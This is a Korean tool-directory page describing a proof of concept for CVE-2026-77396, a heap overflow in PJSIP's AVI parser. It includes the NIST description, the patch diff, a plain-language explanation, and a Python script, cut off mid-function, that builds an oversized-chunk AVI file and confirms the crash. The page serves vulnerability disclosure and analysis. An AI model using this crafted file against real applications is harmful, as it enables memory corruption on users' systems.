Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-77396 — PJSIP AVI 파서에서 힙 범위 초과 쓰기(heap out-of-bounds write)를 유발하는 악성 AVI 파일을 제작하는 개념 증명(Proof-of-concept)으로, ASan 검증과 패치 분석을 포함합니다 (CVE-2026-77396). | Kitploit
도구/GitHubGitHub/saretawa/cve-2026-77396
Memory ForensicsVulnerability AnalysisExploitationFuzzingBinary Exploitation
GitHubsaretawa/cve-2026-77396

CVE-2026-77396

PJSIP AVI 파서에서 힙 범위 초과 쓰기(heap out-of-bounds write)를 유발하는 악성 AVI 파일을 제작하는 개념 증명(Proof-of-concept)으로, ASan 검증과 패치 분석을 포함합니다 (CVE-2026-77396).

저장소 보기
36일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE에 대한 NIST 설명:

PJSIP is a free and open source multimedia communication library written in C. In 2.17 and earlier, the PJSIP AVI parser 
in pjmedia/src/pjmedia/avi_player.c uses an input-file video chunk length as the number of bytes copied into a frame 
buffer whose capacity is derived from the declared media dimensions. A crafted AVI file can therefore cause an 
attacker-controlled out-of-bounds write past the heap allocation when an application plays the file or pulls its frames. 
The existing size assertion does not protect production release builds, where assertions are disabled. Typical local 
playback can crash the process, while applications that accept untrusted AVI sources expose a stronger memory-corruption 
condition. No fixed version is available as of this review.

검토할 diff:

git diff 7ecc65849\^..7ecc65849 -- pjmedia/src/pjmedia/avi_player.c                   12:57
diff --git a/pjmedia/src/pjmedia/avi_player.c b/pjmedia/src/pjmedia/avi_player.c
index af66be12f..1db41f719 100644
--- a/pjmedia/src/pjmedia/avi_player.c
+++ b/pjmedia/src/pjmedia/avi_player.c
@@ -1218,12 +1218,40 @@ static pj_status_t avi_get_frame(pjmedia_port *this_port,
                 goto on_error2;
             fport->size_left -= size_to_read;
         } else {
-            pj_assert(frame->size >= ch.len);
-            status = file_read3(fport->fd, frame->buf, ch.len,
+            pj_uint32_t read_len = ch.len;
+
+            /* Clamp the read to the frame buffer capacity. A crafted
+             * file may declare a chunk larger than the buffer, whose
+             * size is derived from the (also file-supplied) video
+             * dimensions; never write past frame->buf (frame->size
+             * bytes). Do not rely on pj_assert() here, as it is a no-op
+             * in release builds.
+             */
+            if (read_len > frame->size) {
+                PJ_LOG(3, (THIS_FILE,
+                           "AVI video chunk (%u) exceeds frame buffer "
+                           "(%u), truncating",
+                           (unsigned)ch.len, (unsigned)frame->size));
+                read_len = (pj_uint32_t)frame->size;
+            }
+
+            status = file_read3(fport->fd, frame->buf, read_len,
                                 0, &size_read);
             if (status != PJ_SUCCESS)
                 goto on_error2;
-            frame->size = ch.len;
+
+            /* Skip any remaining chunk bytes that did not fit, so the
+             * file position stays aligned to the next chunk.
+             */
+            if (ch.len > read_len) {
+                status = pj_file_setpos(fport->fd,
+                                        (pj_off_t)ch.len - read_len,
+                                        PJ_SEEK_CUR);
+                if (status != PJ_SUCCESS)
+                    goto on_error2;
+            }
+
+            frame->size = read_len;
             fport->size_left = 0;
         }

기본적으로 취약한 부분은 다음과 같습니다:

pj_assert(frame->size >= ch.len);
status = file_read3(fport->fd, frame->buf, ch.len, 0, &size_read);
frame->size = ch.len;

ch는 AVI 파일에서 읽어온 청크 헤더로, 비디오 청크가 몇 바이트를 담고 있는지 알려주는 len 필드를 가지고 있습니다. frame->buf는 비디오의 선언된 크기(너비 × 높이 × 픽셀당 바이트 수)를 기준으로 할당된 힙 버퍼입니다.

이것은 검사 역할을 해야 합니다: pj_assert(frame->size >= ch.len)

하지만 pj_assert는 릴리스/프로덕션 빌드에서 아무 동작도 하지 않습니다(no-op). 따라서 실제 배포 환경에서는 검증이 전혀 이루어지지 않습니다. 코드는 그저 ch.len 바이트를 곧바로 frame->buf로 읽어들입니다.

쉬운 말로 하면, 디버그 빌드에서는 pj_assert(frame->size >= ch.len)가 조건이 거짓일 경우 프로그램을 크래시시킵니다. 릴리스 빌드에서는 해당 줄이 사라져 아무 검사도 일어나지 않으며, file_read3는 너무 작은 버퍼에 ch.len 바이트를 아무 문제 없이 기록합니다.

다음과 같은 AVI 파일을 만드세요:

비디오 스트림 헤더가 작은 크기(예: 16×16)를 선언 → 작은 frame->buf 할당 데이터 섹션의 비디오 청크가 큰 ch.len을 선언 → file_read3가 버퍼를 훨씬 넘어서 기록

익스플로잇:

import struct, os, subprocess, sys, signal, glob, argparse

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PJPROJECT   = os.path.join(SCRIPT_DIR, "pjproject")
AVI_FILE    = os.path.join(SCRIPT_DIR, "crash.avi")
TEST_SRC    = os.path.join(SCRIPT_DIR, "test_avi.c")
TEST_BIN    = os.path.join(SCRIPT_DIR, "test_avi")
FIX_COMMIT  = "7ecc6584969a923c4190b6912afbf5952b5a4b9f"

VID_W    = 16
VID_H    = 16
BPP      = 24
OVERFLOW = 50000


def craft_avi(path):
    # strf (BITMAPINFOHEADER)
    strf  = b'strf' + struct.pack('<II', 40, 40)
    strf += struct.pack('<iiHH', VID_W, VID_H, 1, BPP)
    strf += b'MJPG' + struct.pack('<I', 0)
    strf += struct.pack('<iiII', 0, 0, 0, 0)

    # strh (stream header)
    strh  = b'strh' + struct.pack('<I', 56)
    strh += b'vids' + b'MJPG'
    strh += struct.pack('<IIIIIIIIIII', 0, 0, 0, 1, 30, 0, 1, 0, 0, 0, 0)
    strh += struct.pack('<II', 0, 0)

    # strl LIST
    strl_body = b'strl' + strh + strf
    strl = b'LIST' + struct.pack('<I', len(strl_body)) + strl_body

    # avih
    avih  = b'avih' + struct.pack('<I', 56)
    avih += struct.pack('<IIIIIIII', 33333, 0, 0, 0, 1, 0, 1, 0)
    avih += struct.pack('<II', VID_W, VID_H)
    avih += struct.pack('<IIII', 0, 0, 0, 0)

    # hdrl LIST
    hdrl_body = b'hdrl' + avih + strl
    hdrl = b'LIST' + struct.pack('<I', len(hdrl_body)) + hdrl_body

    # movi LIST the oversized chunk
    movi_body  = b'movi' + b'00dc'
    movi_body += struct.pack('<I', OVERFLOW)
    movi_body += b'\x41' * OVERFLOW
    movi = b'LIST' + struct.pack('<I', len(movi_body)) + movi_body

    # RIFF wrapper
    avi_body = b'AVI ' + hdrl + movi
    riff = b'RIFF' + struct.pack('<I', len(avi_body)) + avi_body

    with open(path, 'wb') as f:
        f.write(riff)

    buf_est = VID_W * VID_H * 4
    print(f"[*] wrote {path} ({len(riff)} bytes)")
    print(f"[*] video: {VID_W}x{VID_H} MJPG, buffer ~{buf_est} bytes, chunk {OVERFLOW} bytes")


def find_libs():
    lib_files = []
    for sub in ["pjlib/lib", "pjlib-util/lib", "pjmedia/lib",
                 "pjnath/lib", "third_party/lib"]:
        d = os.path.join(PJPROJECT, sub)
        if os.path.isdir(d):
            lib_files.extend(sorted(glob.glob(os.path.join(d, "*.a"))))
    return lib_files


def compile_test():
    if not os.path.isfile(TEST_SRC):
        print(f"[-] {TEST_SRC} not found"); return False

    lib_files = find_libs()
    if not lib_files:
        print("[-] pjproject not built. see README"); return False

    inc = [f"-I{PJPROJECT}/{d}/include" for d in
           ["pjlib", "pjlib-util", "pjmedia", "pjnath", "pjsip"]]

    cmd = (["gcc", "-o", TEST_BIN, TEST_SRC] + inc
           + ["-Wl,--start-group"] + lib_files + ["-Wl,--end-group"]
           + ["-lasound", "-luuid", "-lm", "-lpthread", "-lSDL2", "-lv4l2"])

    print(f"[*] compiling {os.path.basename(TEST_SRC)} ...")
    r = subprocess.run(cmd, capture_output=True, text=True)
    if r.returncode != 0:
        print(f"[-] compile failed:\n{r.stderr}"); return False

    print(f"[+] built {TEST_BIN}")
    return True


def run_test():
    if not os.path.isfile(TEST_BIN):
        print("[-] test binary not found"); return

    print(f"\n[*] running {os.path.basename(TEST_BIN)} {os.path.basename(AVI_FILE)}")
    r = subprocess.run(
        [TEST_BIN, AVI_FILE],
        capture_output=True, text=True, timeout=10,
    )

    if r.stdout.strip():
        print(r.stdout.strip())
    if r.stderr.strip():
        for line in r.stderr.strip().splitlines()[:15]:
            print(line)

    if r.returncode < 0:
        sig = -r.returncode
        try: name = signal.Signals(sig).name
        except (ValueError, AttributeError): name = f"signal {sig}"
        print(f"\n[+] crashed with {name} (exit {r.returncode})")
        print(f"[+] heap OOB write confirmed, CVE-2026-77396")
    elif r.returncode == 0:
        print(f"\n[-] no crash, patched or debug build")
    else:
        print(f"\n[?] exit {r.returncode}")


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-77396 PoC")
    parser.add_argument("--craft-only", action="store_true",
                        help="only craft the AVI file")
    args = parser.parse_args()
도구 다운로드